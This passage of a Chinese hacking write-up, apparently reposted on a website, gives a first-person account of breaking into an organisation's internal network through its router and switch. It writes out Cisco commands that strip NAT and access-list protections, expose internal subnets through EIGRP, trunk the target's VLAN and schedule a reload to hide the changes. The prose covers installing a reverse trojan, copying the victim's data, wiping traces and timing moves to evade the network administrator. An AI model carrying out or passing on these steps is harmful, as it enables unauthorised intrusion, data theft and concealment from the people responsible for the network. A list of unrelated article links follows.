#access-list 99 172.16.68.88 0.0.0.0
#access-list 99 172.16.101.15 0.0.0.255 //改成172.16.101.0/24网段都可以登录
#line vty 0 4
#access-class 99 in
退出路由系统,把自己IP改回来,把交换机设置也改回来以免网管回来被发现。
center(config)#interface FastEthernet 7/1
center(config-if)#no shutdown
简单的清理一下留下的痕迹,退出他们的网络来分析一下网管是怎么配置的路由,在路由配置信息中有几条重要信息。
ip nat pool NO.1027 10.255.200.1 10.255.200.105 netmask 255.255.255.0
ip nat inside source list 10 pool NO.1027 overload
access-list 10 permit 172.16.7.0 0.0.0.255
access-list 10 permit 172.16.8.0 0.0.0.255
……
router eigrp 10
真是不敢恭维网管的技术,一条访问列表可以搞定的事,非要分成N个访问列表来描述。到这时才明白为什么朋友不能访问目标主机,因为A网边界路由器为其 作NAT的地址转换,将B类地址转换成A类地址,并且有访问列表限制。现在要使当前主机和目标主机在“堡垒”中建立一条专用的“线路”。我这对路由的配 置不是很熟悉,也不敢太多的尝试,以免被网管发现,但是我们可以“重新”配置一下他的eigrp协议,使内部的地址完全暴露在外边,但此办法太容易让网 管发现,但是当时没想出别的办法来。
#clear ip nat translation *
#no ip nat inside source list 10 pool NO.1027 overload
#no …… //去掉他的访问列表及NAT配置信息
#router eigrp 10
(config-router)#network 172.16.2.0 0.0.0.255
(config-router)#network 172.16.3.0 0.0.0.255
(config-router)#network …… //把所有的网段加进去
#reload 10 //10分钟后设备自动重启
现在路由器就可以为我们转发数据包了,并且在10分钟自动重启使更改的的配置失效,我们现在只差一步就大功告成了,现在须要在我控制的那台主机到目标主机创建一条干线使我们的数据包可以直接到达目标主机。
show cdp neighbors得到如下信息:
Device ID Local Intrfce Holdtme Capability Platform. Port ID
Router3 Fas0/12 176 R 2621 4
在交换机中添加VLAN 13,(目标主机的VLAN号),进入Fas0/12端口, “switchport trunk all vlan add 13 ”,在trunk中添加VLAN13,使这条线路可以通过VLAN13的数据,没有必要改变自己的VLAN号,路由器现在没有访问列表来控制我们的数据 流。这个时候我们ping 172.16.8.120目标主机物理IP地址数据包可以到达了。
这次入侵也接近尾声了,和以前一样还是溢出后安装一个反弹木马,使他可以主动连接我的肉鸡,当然这要在10分钟内搞定,否则要重新进路由改变他重启的 时间,备份他硬盘上的数据,备份肉鸡上的数据,最后就是清理一下入侵的痕迹。这次入侵大约10天才完成,因为要等到特定的时间才可以改变他的网络设备配 置,比如改变路由器的访问列表进一定要等到下班时间,大多用户不使用网络时、而目标主机还在使用网络时、网管还没有关闭设备时,也就是要和网管打个时间 差。
本文经过N次的筛选终于从万字的文章精减出此文,可读性、实用性一定会有不同程度上的衰减,本次入侵没有什么新的技术,主要说怎样绕过内部网络设备的限制,只不过是一些经验的叠加,针对网络设备入侵这也算很初级的。
当时少写了个步骤,少了是不会成功的,仔细看的朋友一定能看出来。
转自无才牛。。。
- 防患未然 juniper入侵防护系统入侵检测2022-12-19
- 中国的领导系统是一个龙系统2023-06-11
- 一个优秀的网站应该具备哪些?2022-12-11
- 安全和功能检测报告2022-12-16
- 农产品质量安全检测工作总结2025-05-28
- 系统“安全模式”应用技巧2023-05-18
- 了解Windows系统的安全模式2022-12-18
- “安全”- 一个永恒的话题2025-04-11
- ASP.NET的网站新闻管理系统设计与实现?22023-01-01
- 如何快速提高一个新网站的流量2024-04-11